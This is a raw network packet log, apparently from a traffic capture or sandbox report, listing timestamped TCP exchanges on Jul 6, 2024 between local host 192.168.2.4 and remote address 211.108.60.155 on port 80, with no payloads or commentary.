Jul 6, 2024 14:10:15.309528112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309565067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309576035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309612989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.309673071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.309681892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309693098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309709072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309719086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309730053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.309745073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.309766054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.309855938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309865952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.309892893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310398102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310437918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310446978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310457945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310482025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310502052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310516119 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310527086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310538054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310548067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310556889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310574055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310695887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310738087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310739040 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.310749054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.310779095 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311009884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311067104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311103106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311140060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311472893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311482906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311543941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311570883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311580896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311597109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311606884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311613083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311661959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311717033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311717033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311813116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311849117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.311851978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.311881065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.312591076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312621117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312632084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312638998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.312649012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.312670946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.312710047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312721014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312731028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312741041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312752008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.312774897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.312942028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.312979937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.313005924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.313016891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.313043118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.313059092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504153013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504168987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504218102 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504225016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504260063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504264116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504276991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504293919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504317999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504334927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504374981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504379988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504390955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504419088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504456043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504506111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504642963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504679918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504695892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504731894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504802942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504816055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504841089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504854918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504874945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504884958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504919052 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504931927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504936934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504959106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.504971981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.504983902 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505039930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505048990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505074978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505088091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505132914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505167961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505170107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505209923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505263090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505273104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505302906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505418062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505459070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505462885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505495071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505527020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505536079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505559921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505578041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505673885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505713940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505744934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505783081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505798101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505830050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505850077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505883932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505909920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505944967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.505961895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.505999088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506186962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506217003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506226063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506227970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506252050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506263018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506416082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506454945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506470919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506481886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506511927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506587029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506629944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506633997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506669044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506731987 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506768942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506793976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506831884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506875038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506886005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.506910086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506926060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.506974936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507013083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507024050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507042885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507064104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507076025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507086039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507121086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507199049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507209063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507242918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507472038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507509947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507555008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507564068 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507570028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507601023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507610083 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507713079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507754087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507767916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507776976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507786989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507807016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507818937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507879019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507919073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.507946014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507961035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507971048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.507977962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508003950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508003950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508055925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508070946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508091927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508104086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508145094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508182049 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508183956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508217096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508563042 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508605003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508606911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508618116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508641005 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508651972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508677006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508713961 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508749962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508759975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508780956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508797884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508802891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508835077 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.508853912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.508889914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.509164095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509175062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509185076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509208918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.509236097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.509301901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509311914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509341002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.509356022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.509373903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509398937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.509408951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.509428978 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.726321936 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.726363897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.726392031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.726422071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.726437092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.726440907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.726481915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.726490021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.726511955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.726568937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.726613045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.726978064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727029085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727061033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727072001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727102041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727113962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727132082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727176905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727237940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727248907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727257967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727286100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727298975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727531910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727574110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727720022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727730036 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727744102 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.727766037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.727781057 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.728558064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.728615046 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.728751898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.728800058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.729141951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729183912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729195118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729207039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.729221106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.729301929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729351044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.729589939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729599953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729609966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.729635954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.729646921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.730145931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730190039 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730200052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730247021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.730247021 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.730262995 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.730627060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730680943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.730741978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730751991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730761051 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.730787992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.730803013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.731085062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731127977 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.731225014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731235027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731245041 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731268883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.731280088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.731511116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731558084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.731710911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731720924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731730938 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.731760025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.731775999 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.732165098 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732209921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.732227087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732259989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.732454062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732462883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732503891 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.732696056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732742071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.732887983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732897997 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732908010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.732934952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.732965946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.733012915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.733057022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.733102083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.733146906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.733287096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.733302116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.733326912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.733340025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.733563900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.733612061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.733820915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.733867884 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.734014034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.734054089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.734071970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.734110117 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.734323978 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.734340906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:15.734363079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:15.734381914 CEST	49732	80	192.168.2.4	211.108.60.155
